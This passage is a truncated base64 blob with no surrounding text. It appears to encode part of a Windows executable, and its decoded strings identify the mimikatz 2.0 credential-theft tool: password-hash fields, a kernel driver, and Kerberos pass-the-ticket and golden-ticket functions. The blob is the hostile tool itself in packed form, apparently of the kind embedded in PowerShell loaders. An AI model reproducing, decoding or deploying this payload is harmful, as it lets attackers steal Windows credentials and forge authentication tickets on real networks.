MAAAAAAGZJAwAAAAAAdkkDAAAAAACSSQMAAAAAAKZJAwAAAAAAwkkDAAAAAADYSQMAAAAAAOxJAwAAAAAABEoDAAAAAAAeSgMAAAAAADhKAwAAAAAAWkoDAAAAAAB6SgMAAAAAAIxKAwAAAAAAokoDAAAAAAC2SgMAAAAAAMxKAwAAAAAA4FEDAAAAAADsUQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnJQBgAEAAAAAAAAAAAAAAAAAAAAAAAAASW52YWxpZCBwYXJhbWV0ZXIgcGFzc2VkIHRvIEMgcnVudGltZSBmdW5jdGlvbi4KAAAAAAAAAAAAAAAAAAAAAJCHA4ABAAAAMIgDgAEAAAAobnVsbCkAAAAAAAAAAAAABoCAhoCBgAAAEAOGgIaCgBQFBUVFRYWFhQUAADAwgFCAgAAIACgnOFBXgAAHADcwMFBQiAAAACAogIiAgAAAAGBgYGhoaAgIB3hwcHdwcAgIAAAIAAgABwgAAAAAAAAAJTA0aHUlMDJodSUwMmh1JTAyaHUlMDJodSUwMmh1WgAKAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAEIAYQBzAGUANgA0ACAAbwBmACAAZgBpAGwAZQAgADoAIAAlAHMACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgAAACUAYwAAAAAAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAAAAAAAAAAAAAAAAAgYwOAAQAAAGBkA4ABAAAAAGUDgAEAAAAHAAgAAAAAAHAmA4ABAAAADgAPAAAAAABgJgOAAQAAAGBmA4ABAAAAsGYDgAEAAABQZwOAAQAAAGAAAACYAAAACAEAABgBAAAoAQAAOAEAAEABAAAAAAAAIAAAACgAAAAwAAAAQAAAAFAAAABgAAAAcAAAAHgAAACAAAAAiAAAAMgAAADQAAAA2AAAAAQBAAAQAQAACAEAACABAAAAAAAA+AAAAAAAAAAYAAAAAAAAABAAAAAAAAAAKAAAAAAAAABQAAAAiAAAAPgAAAAQAQAAKAEAAEABAABIAQAAAAAAACAAAAAoAAAAMAAAAEAAAABQAAAAYAAAAHAAAACAAAAAiAAAAJAAAAC4AAAAwAAAAMgAAAD0AAAAAAEAAPgAAAAQAQAAAAAAAOgAAAAAAAAAGAAAAAAAAAAQAAAAAAAAACgAAAAAAAAAQAAAAHgAAADoAAAAAAEAABgBAAAwAQAAOAEAAAAAAAAgAAAAKAAAADAAAABAAAAAUAAAAGAAAABwAAAAgAAAAIgAAACQAAAAuAAAAMAAAADIAAAA9AAAAAABAAD4AAAAEAEAAAAAAADYAAAAAAAAACgAAAAAAAAAGAAAAAAAAAAwAAAAAAAAAEAAAAB4AAAA6AAAAAABAAAYAQAAMAEAADgBAAAAAAAAIAAAACgAAAAwAAAAQAAAAFAAAABgAAAAgAAAAJAAAACYAAAAoAAAAMgAAADQAAAA2AAAAAQBAAAQAQAACAEAACABAAAAAAAA2AAAAAAAAAAoAAAAAAAAABgAAAAAAAAAMAAAAAAAAABIAAAAiAAAAPgAAAAQAQAAKAEAAEABAABIAQAAAAAAACAAAAAoAAAAMAAAAEAAAABQAAAAYAAAAIAAAACQAAAAmAAAAKAAAADIAAAA0AAAANgAAAAEAQAAEAEAAAgBAAAgAQAAAAAAAOgAAAAAAAAAKAAAAAAAAAAYAAAAAAAAADAAAAAAAAAA8GsDgAEAAACQAAAAOAAAAGgAAACAAAAAAAAAAAgAAADAAAAAOAAAAJgAAACwAAAAAAAAAAgAAADQAAAAOAAAAKgAAADAAAAAAAAAAAgAAAA4DwOAAQAAABgPA4ABAAAAwA4DgAEAAAAOAAAAAAAAADANAoABAAAAZFYBgAEAAACIVgGAAQAAALyGAYABAAAAsA4DgAEAAAB4DgOAAQAAAOiNAYABAAAAaA4DgAEAAAAwDgOAAQAAAEBzAYABAAAAoDMCgAEAAAD4DQOAAQAAAJSMAYABAAAA6A0DgAEAAAC4DQOAAQAAAFiFAYABAAAAqA0DgAEAAABwDQOAAQAAAAiLAYABAAAAaA0DgAEAAAA4DQOAAQAAAJRWAYABAAAAGA0DgAEAAADADAOAAQAAAOhVAYABAAAAWIECgAEAAABgDAOAAQAAAARWAYABAAAAQAwDgAEAAADgCwOAAQAAAGhfAYABAAAA2AsDgAEAAAC4CwOAAQAAAJhzAYABAAAAqAsDgAEAAAB4CwOAAQAAANRzAYABAAAAaAsDgAEAAAAoCwOAAQAAAOBwAYABAAAAGAsDgAEAAADoCgOAAQAAAKxuAYABAAAA2AoDgAEAAACgCgOAAQAAAGBmA4ABAAAAYGQDgAEAAAAgYwOAAQAAALBmA4ABAAAAUGcDgAEAAAAAZQOAAQAAAEBpA4ABAAAA8GsDgAEAAACoAAAAAAAAABAAAABQAAAAVAAAABgAAAAoAAAAcAAAAEgAAACgAAAAoAAAAAAAAAAQAAAAUAAAAFQAAAAYAAAAKAAAAHAAAABIAAAAmAAAABABAAAAAAAAcAAAALgAAAC8AAAAgAAAAJAAAADYAAAAsAAAAAgBAAAIAQAAAAAAAHAAAAC4AAAAvAAAAIAAAACQAAAA2AAAALAAAAAAAQAAGAEAAAAAAABwAAAAyAAAAMwAAACQAAAAoAAAAOgAAADAAAAAEAEAAFABAAAAAAAAcAAAAMgAAADYAAAAgAAAAJAAAAD4AAAAwAAAAEgBAABgAQAAAAAAAHAAAADYAAAA6AAAAJAAAACgAAAACAEAANAAAABYAQAAMEMBgAEAAABo/wKAAQAAAGj/AoABAAAAuEkBgAEAAADMSwGAAQAAABRMAYABAAAAQI4DgAEAAABIjgOAAQAAAPhNAYABAAAAfE8BgAEAAAD0UQGAAQAAAGBwA4ABAAAAaHADgAEAAACg/wKAAQAAAHj/AoABAAAAAAAAAAAAAAABAAAAAAAAANgPAoABAAAAAAAAAAAAAAAAAAAAAAAAADAxMjM0NTY3OC5GPyAhIQCENAGAAQAAACAzAoABAAAAIDMCgAEAAABYPwGAAQAAAGDvAoABAAAAYO8CgAEAAACw7wKAAQAAAHDvAoABAAAAAAAAAAAAAAACAAAAAAAAAIgQAoABAAAAADMBgAEAAABkNAGAAQAAAL41Dj53G+dDuHOu2QG2J1tA7wKAAQAAAAAAAAAAAAAAOHid5rWRyU+J1SMNTUzCvBjvAoABAAAAAAAAAAAAAADzb4g8aSaiSqj7P2dZp3VI+O4CgAEAAAAAAAAAAAAAAPUz4LLeXw1Fob03kfRlcgzg7gKAAQAAAMA5AYABAAAAK6G4tD0YCEmVWb2LznK1irjuAoABAAAAwDkBgAEAAACRcsj+9hS2QL2Yf/JFmGsmoO4CgAEAAADAOQGAAQAAAAhQAoABAAAAkO4CgAEAAABw7gKAAQAAAEjuAoABAAAAGO4CgAEAAADw7QKAAQAAANDtAoABAAAAzDIBgAEAAABQ7QKAAQAAAMDsAoABAAAAmO0CgAEAAABo7QKAAQAAAAAAAAAAAAAAAQAAAAAAAADoEQKAAQAAAAAAAAAAAAAAAAAAAAAAAADQ5QKAAQAAAJjlAoABAAAAAAAAAAAAAAAEAAAAAAAAAHASAoABAAAAAAAAAAAAAAAAAAAAAAAAAPwqAYABAAAAiOUCgAEAAABQ5QKAAQAAANArAYABAAAAIDMCgAEAAAAQ5QKAAQAAAOQrAYABAAAAAOUCgAEAAADY5AKAAQAAAEAvAYABAAAAyOQCgAEAAACY5AKAAQAAAPQnAYABAAAAcN8CgAEAAABQ3wKAAQAAABAoAYABAAAASN8CgAEAAADQ3gKAAQAAAIAoAYABAAAAwN4CgAEAAAAw3gKAAQAAAJgoAYABAAAAGN4CgAEAAADg3QKAAQAAALAoAYABAAAA0N0CgAEAAACQ3QKAAQAAAAApAYABAAAAIHoCgAEAAABA3QKAAQAAAHQpAYABAAAAKN0CgAEAAADg3AKAAQAAAOApAYABAAAAyNwCgAEAAACA3AKAAQAAABgqAYABAAAAeNwCgAEAAAAw3AKAAQAAAOQqAYABAAAAGNwCgAEAAAD42wKAAQAAAADgAoABAAAA4N8CgAEAAACA3wKAAQAAAAoAAAAAAAAA0BICgAEAAAAAAAAAAAAAAAAAAAAAAAAAgDECgAEAAABI1gKAAQAAAAAAAAAAAAAACAAAAAAAAAAwFAKAAQAAAAAAAAAAAAAAAAAAAAAAAABEIwGAAQAAANjPAoABAAAAKNYCgAEAAABsIwGAAQAAACiBAoABAAAACNYCgAEAAACUIwGAAQAAAKjPAoABAAAA6NUCgAEAAADAIwGAAQAAAHDPAoABAAAAyNUCgAEAAADsIwGAAQAAADjPAoABAAAAqNUCgAEAAAAYJAGAAQAAAJDVAoABAAAAaNUCgAEAAABEJAGAAQAAAFDVAoABAAAAKNUCgAEAAACwHQGAAQAAACAzAoABAAAACNUCgAEAAAAAHgGAAQAAACAzAoABAAAAOIECgAEAAAAUIAGAAQAAADjQAoABAAAAGNACgAEAAAAgIAGAAQAAAAjQAoABAAAA6M8CgAEAAAAQHgGAAQAAANjPAoABAAAAuM8CgAEAAACYHgGAAQAAAKjPAoABAAAAgM8CgAEAAACgHgGAAQAAAHDPAoABAAAASM8CgAEAAACsHgGAAQAAADjPAoABAAAAEM8CgAEAAABYgQKAAQAAAEjQAoABAAAAAAAAAAAAAAAHAAAAAAAAAPAUAoABAAAAAAAAAAAAAAAAAAAAAAAAALQdAYABAAAAEM4CgAEAAADozQKAAQAAAEjOAoABAAAAIM4CgAEAAAAAAAAAAAAAAAEAAAAAAAAA0BUCgAEAAAAAAAAAAAAAAAAAAAAAAAAAbBcBgAEAAABwMQKAAQAAAGgzAoABAAAAsB0BgAEAAACIyAKAAQAAAGgzAoABAAAAsB0BgAEAAAB4yAKAAQAAAGgzAoABAAAAoMgCgAEAAABoMwKAAQAAAAAAAAAAAAAAAwAAAAAAAAAgFgKAAQAAAAAAAAAAAAAAAAAAAAAAAABM/ACAAQAAAHC3AoABAAAAELcCgAEAAAB8/ACAAQAAAAC3AoABAAAAkLYCgAEAAACs/ACAAQAAAHi2AoABAAAAELYCgAEAAADc/ACAAQAAAPi1AoABAAAAkLUCgAEAAABEAQGAAQAAAHi1AoABAAAA8LQCgAEAAACIAwGAAQAAAOC0AoABAAAAAAAAAAAAAAAwBQGAAQAAANC0AoABAAAAAAAAAAAAAACMCwGAAQAAAMC0AoABAAAAAAAAAAAAAACoEgGAAQAAAKi0AoABAAAAAAAAAAAAAACotwKAAQAAAHi3AoABAAAAAAAAAAAAAAAJAAAAAAAAAKAWAoABAAAA0PoAgAEAAAAI/ACAAQAAAAi/AIABAAAAwJECgAEAAABAkQKAAQAAAMDBAIABAAAAKJECgAEAAACgkAKAAQAAAMzBAIABAAAAiJACgAEAAADwjwKAAQAAADzmAIABAAAA4I8CgAEAAABAjwKAAQAAAOiRAoABAAAAyJECgAEAAAAAAAAAAAAAAAQAAAAAAAAAsBcCgAEAAAAAAAAAAAAAAAAAAAAAAAAACwYHAQgKDgADBQIPDQkMBE5UUEFTU1dPUkQAAAAAAABMTVBBU1NXT1JEAAAAAAAAIUAjJCVeJiooKXF3ZXJ0eVVJT1BBenhjdmJubVFRUVFRUVFRUVFRUSkoKkAmJQAAMDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OQAAAAAAAAAAAAAAAAAAAACQtgCAAQAAAAAAAAAAAAAAIIECgAEAAADAgAKAAQAAAAC7AIABAAAAAAAAAAAAAAC0gAKAAQAAAHCAAoABAAAAAAAAAAAAAAAHwCIAAAAAAGCAAoABAAAAQIACgAEAAAAAAAAAAAAAAAvAIgAAAAAAMIACgAEAAAAggAKAAQAAAAAAAAAAAAAAQ8AiAAAAAABYgQKAAQAAADiBAoABAAAAjLsAgAEAAAAAAAAAAAAAAACAAoABAAAA4H8CgAEAAABIvQCAAQAAAAAAAAAAAAAAwH8CgAEAAACQfwKAAQAAACS+AIABAAAAAAAAAAAAAABofwKAAQAAACh/AoABAAAAAAAAAAAAAACDwCIAAAAAABh/AoABAAAA+H4CgAEAAAAAAAAAAAAAAMPAIgAAAAAA6H4CgAEAAADQfgKAAQAAAAAAAAAAAAAAA8EiAAAAAACwfgKAAQAAAHB+AoABAAAAAAAAAAAAAAAHwSIAAAAAAFh+AoABAAAAGH4CgAEAAAAAAAAAAAAAAAvBIgAAAAAAAH4CgAEAAADIfQKAAQAAAAAAAAAAAAAAD8EiAAAAAACwfQKAAQAAAHB9AoABAAAAAAAAAAAAAAATwSIAAAAAAFh9AoABAAAAGH0CgAEAAACUvgCAAQAAABfBIgAAAAAA8HwCgAEAAACwfAKAAQAAAKC+AIABAAAAJ8EiAAAAAACIfAKAAQAAAEh8AoABAAAAAAAAAAAAAABDwSIAAAAAADh8AoABAAAAGHwCgAEAAAAAAAAAAAAAAEfBIgAAAAAAAHwCgAEAAADYewKAAQAAAHS1AIABAAAA4HkCgAEAAABweQKAAQAAALi1AIABAAAAYHkCgAEAAAA4eQKAAQAAABB6AoABAAAA8HkCgAEAAAAAAAAAAAAAAAIAAAAAAAAAQBsCgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACInwCAAQAAAOBjAoABAAAAoGMCgAEAAADgoACAAQAAAJBjAoABAAAAWGMCgAEAAACMoQCAAQAAADhjAoABAAAA+GICgAEAAAC4pQCAAQAAAOhiAoABAAAAoGICgAEAAAAIswCAAQAAAJBiAoABAAAAIGICgAEAAAD0tACAAQAAABhiAoABAAAAsGECgAEAAAAYZAKAAQAAAPhjAoABAAAAAAAAAAAAAAAGAAAAAAAAALAbAoABAAAALJ0AgAEAAAD8ngCAAQAAAAAAAAAAAAAAaGECgAEAAAAAAAEAAAAAABBhAoABAAAAAAAHAAAAAADQYAKAAQAAAAAAAgAAAAAAcGACgAEAAAAAAAgAAAAAABBgAoABAAAAAAAJAAAAAADAXwKAAQAAAAAABAAAAAAAiF8CgAEAAAAAAAYAAAAAAFBfAoABAAAAAAAFAAAAAAA4XwKAAQAAAOBeAoABAAAAsF4CgAEAAABQXgKAAQAAADBeAoABAAAA4F0CgAEAAACwXQKAAQAAAFBdAoABAAAAEF0CgAEAAACwXAKAAQAAAIhcAoABAAAAMFwCgAEAAAAAXAKAAQAAAIBbAoABAAAAWFsCgAEAAADQWgKAAQAAAKBaAoABAAAAQFoCgAEAAAAYWgKAAQAAAMBZAoABAAAAiFkCgAEAAAAAWQKAAQAAANBYAoABAAAAYFgCgAEAAABAWAKAAQAAAAEAAAAAAAAAIFgCgAEAAAACAAAAAAAAAAhYAoABAAAAAwAAAAAAAADoVwKAAQAAAAQAAAAAAAAAwFcCgAEAAAAFAAAAAAAAAKhXAoABAAAABgAAAAAAAACAVwKAAQAAAAwAAAAAAAAAaFcCgAEAAAANAAAAAAAAAEBXAoABAAAADgAAAAAAAAAYVwKAAQAAAA8AAAAAAAAA8FYCgAEAAAAQAAAAAAAAAMhWAoABAAAAEQAAAAAAAACgVgKAAQAAABIAAAAAAAAAeFYCgAEAAAAUAAAAAAAAAGBWAoABAAAAFQAAAAAAAABAVgKAAQAAABYAAAAAAAAAGFYCgAEAAAAXAAAAAAAAAPhVAoABAAAAGAAAAAAAAAAFAAAABgAAAAEAAAAIAAAABwAAAAAAAAAAAAAAAAAAABBQAoABAAAACFACgAEAAADoTwKAAQAAAAhQAoABAAAA0E8CgAEAAAC4TwKAAQAAAKhPAoABAAAAkE8CgAEAAACATwKAAQAAAGhPAoABAAAASE8CgAEAAAA4TwKAAQAAACBPAoABAAAACE8CgAEAAADwTgKAAQAAANhOAoABAAAAGAAaAAAAAACoSwKAAQAAAIBhAIABAAAAYDMCgAEAAAAwMwKAAQAAAAxnAIABAAAAIDMCgAEAAAAAMwKAAQAAAOhkAIABAAAA+DICgAEAAADIMgKAAQAAAERkAIABAAAAuDICgAEAAACYMgKAAQAAAIhqAIABAAAAiDICgAEAAABgMgKAAQAAANx3AIABAAAAUDICgAEAAAAgMgKAAQAAAFR/AIABAAAAGDICgAEAAADoMQKAAQAAAGx/AIABAAAA2DECgAEAAACQMQKAAQAAAKAzAoABAAAAcDMCgAEAAABoMwKAAQAAAAgAAAAAAAAAkB8CgAEAAADsYACAAQAAADBhAIABAAAAXAAvADoAKgA/ACIAPAA+AHwAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAOwAgAEQAZQB2AGkAYwBlAEkAbwBDAG8AbgB0AHIAbwBsACAAKAAwAHgAJQAwADgAeAApACAAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABcAFwALgBcAG0AaQBtAGkAZAByAHYAAABhAAAAAAAAACIAJQBzACIAIABzAGUAcgB2AGkAYwBlACAAcABhAHQAYwBoAGUAZAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABTAGUAcgB2AGkAYwBlACAAaQBzACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIAB2AGUAcgBzAGkAbwBuACAAaQBuACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABRAFcATwBSAEQAAAAAAAAAUgBFAFMATwBVAFIAQwBFAF8AUgBFAFEAVQBJAFIARQBNAEUATgBUAFMAXwBMAEkAUwBUAAAAAABGAFUATABMAF8AUgBFAFMATwBVAFIAQwBFAF8ARABFAFMAQwBSAEkAUABUAE8AUgAAAAAAAAAAAFIARQBTAE8AVQBSAEMARQBfAEwASQBTAFQAAAAAAAAATQBVAEwAVABJAF8AUwBaAAAAAAAAAAAATABJAE4ASwAAAAAAAAAAAEQAVwBPAFIARABfAEIASQBHAF8ARQBOAEQASQBBAE4AAAAAAAAAAABEAFcATwBSAEQAAAAAAAAAQgBJAE4AQQBSAFkAAAAAAEUAWABQAEEATgBEAF8AUwBaAAAAUwBaAAAAAAAAAAAATgBPAE4ARQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgADsAIABSAHQAbABDAHIAZQBhAHQAZQBVAHMAZQByAFQAaAByAGUAYQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAOwAgAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABUAGgAIABAACAAJQBwAAoARABhACAAQAAgACUAcAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBhAGwAbABvAGMAIAAvACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABFAHgAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUAIAA7ACAATgBvACAAYgB1AGYAZgBlAHIAIAA/AAoAAAAAAAAAUwBlAHIAdgBpAGMAZQBzAEEAYwB0AGkAdgBlAAAAAABcAHgAJQAwADIAeAAAAAAAMAB4ACUAMAAyAHgALAAgAAAAAAAAAAAAJQAwADIAeAAgAAAAAAAAACUAMAAyAHgAAAAAAAoAAAAlAHMAIAAAACUAcwAAAAAAJQB3AFoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBkAGkAcwBwAGwAYQB5AFMASQBEACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABUAG8AawBlAG4AAAAAAAAAAAAAAAAAAAAKACAAIAAuACMAIwAjACMAIwAuACAAIAAgAG0AaQBtAGkAawBhAHQAegAgADIALgAwACAAYQBsAHAAaABhACAAKAB4ADYANAApACAAcgBlAGwAZQBhAHMAZQAgACIASwBpAHcAaQAgAGUAbgAgAEMAIgAgACgARgBlAGIAIAAxADYAIAAyADAAMQA1ACAAMgAyADoAMQA1ADoAMgA4ACkACgAgAC4AIwAjACAAXgAgACMAIwAuACAAIAAKACAAIwAjACAALwAgAFwAIAAjACMAIAAgAC8AKgAgACoAIAAqAAoAIAAjACMAIABcACAALwAgACMAIwAgACAAIABCAGUAbgBqAGEAbQBpAG4AIABEAEUATABQAFkAIABgAGcAZQBuAHQAaQBsAGsAaQB3AGkAYAAgACgAIABiAGUAbgBqAGEAbQBpAG4AQABnAGUAbgB0AGkAbABrAGkAdwBpAC4AYwBvAG0AIAApAAoAIAAnACMAIwAgAHYAIAAjACMAJwAgACAAIABoAHQAdABwADoALwAvAGIAbABvAGcALgBnAGUAbgB0AGkAbABrAGkAdwBpAC4AYwBvAG0ALwBtAGkAbQBpAGsAYQB0AHoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAoAG8AZQAuAGUAbwApAAoAIAAgACcAIwAjACMAIwAjACcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB3AGkAdABoACAAJQAyAHUAIABtAG8AZAB1AGwAZQBzACAAKgAgACoAIAAqAC8ACgAKAAAAAAAKAG0AaQBtAGkAawBhAHQAegAoAHAAbwB3AGUAcgBzAGgAZQBsAGwAKQAgACMAIAAlAHMACgAAAEkATgBJAFQAAAAAAAAAAABDAEwARQBBAE4AAAAAAAAAPgA+AD4AIAAlAHMAIABvAGYAIAAnACUAcwAnACAAbQBvAGQAdQBsAGUAIABmAGEAaQBsAGUAZAAgADoAIAAlADAAOAB4AAoAAAAAADoAOgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAbQBpAG0AaQBrAGEAdAB6AF8AZABvAEwAbwBjAGEAbAAgADsAIAAiACUAcwAiACAAbQBvAGQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAAAAAAKACUAMQA2AHMAAAAAAAAAIAAgAC0AIAAgACUAcwAAACAAIABbACUAcwBdAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAGMAbwBtAG0AYQBuAGQAIABvAGYAIAAiACUAcwAiACAAbQBvAGQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAAAAAAKAE0AbwBkAHUAbABlACAAOgAJACUAcwAAAAAAAAAAAAoARgB1AGwAbAAgAG4AYQBtAGUAIAA6AAkAJQBzAAAACgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAA6AAkAJQBzAAAAAAAAAEtlcmJlcm9zAAAAAAAAAAB1AHMAZQByAAAAAAAAAAAAcwBlAHIAdgBpAGMAZQAAAEwAaQBzAHQAIAB0AGkAYwBrAGUAdABzACAAaQBuACAATQBJAFQALwBIAGUAaQBtAGQAYQBsAGwAIABjAGMAYQBjAGgAZQAAAGMAbABpAHMAdAAAAAAAAABQAGEAcwBzAC0AdABoAGUALQBjAGMAYQBjAGgAZQAgAFsATgBUADYAXQAAAAAAAABwAHQAYwAAAEgAYQBzAGgAIABwAGEAcwBzAHcAbwByAGQAIAB0AG8AIABrAGUAeQBzAAAAAAAAAGgAYQBzAGgAAAAAAAAAAABXAGkAbABsAHkAIABXAG8AbgBrAGEAIABmAGEAYwB0AG8AcgB5AAAAZwBvAGwAZABlAG4AAAAAAFAAdQByAGcAZQAgAHQAaQBjAGsAZQB0ACgAcwApAAAAcAB1AHIAZwBlAAAAAAAAAFIAZQB0AHIAaQBlAHYAZQAgAGMAdQByAHIAZQBuAHQAIABUAEcAVAAAAAAAAAAAAHQAZwB0AAAATABpAHMAdAAgAHQAaQBjAGsAZQB0ACgAcwApAAAAAABsAGkAcwB0AAAAAAAAAAAAUABhAHMAcwAtAHQAaABlAC0AdABpAGMAawBlAHQAIABbAE4AVAAgADYAXQAAAAAAcAB0AHQAAAAAAAAAAAAAAEsAZQByAGIAZQByAG8AcwAgAHAAYQBjAGsAYQBnAGUAIABtAG8AZAB1AGwAZQAAAGsAZQByAGIAZQByAG8AcwAAAAAAAAAAAAAAAAAAAAAAJQAzAHUAIAAtACAARABpAHIAZQBjAHQAbwByAHkAIAAnACUAcwAnACAAKAAqAC4AawBpAHIAYgBpACkACgAAAFwAKgAuAGsAaQByAGIAaQAAAAAAXAAAACAAIAAgACUAMwB1ACAALQAgAEYAaQBsAGUAIAAnACUAcwAnACAAOgAgAAAAAAAAACUAMwB1ACAALQAgAEYAaQBsAGUAIAAnACUAcwAnACAAOgAgAAAAAABPAEsACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGYAaQBsAGUAIAA7ACAATABzAGEAQwBhAGwAbABLAGUAcgBiAGUAcgBvAHMAUABhAGMAawBhAGcAZQAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZgBpAGwAZQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBkAGEAdABhACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjA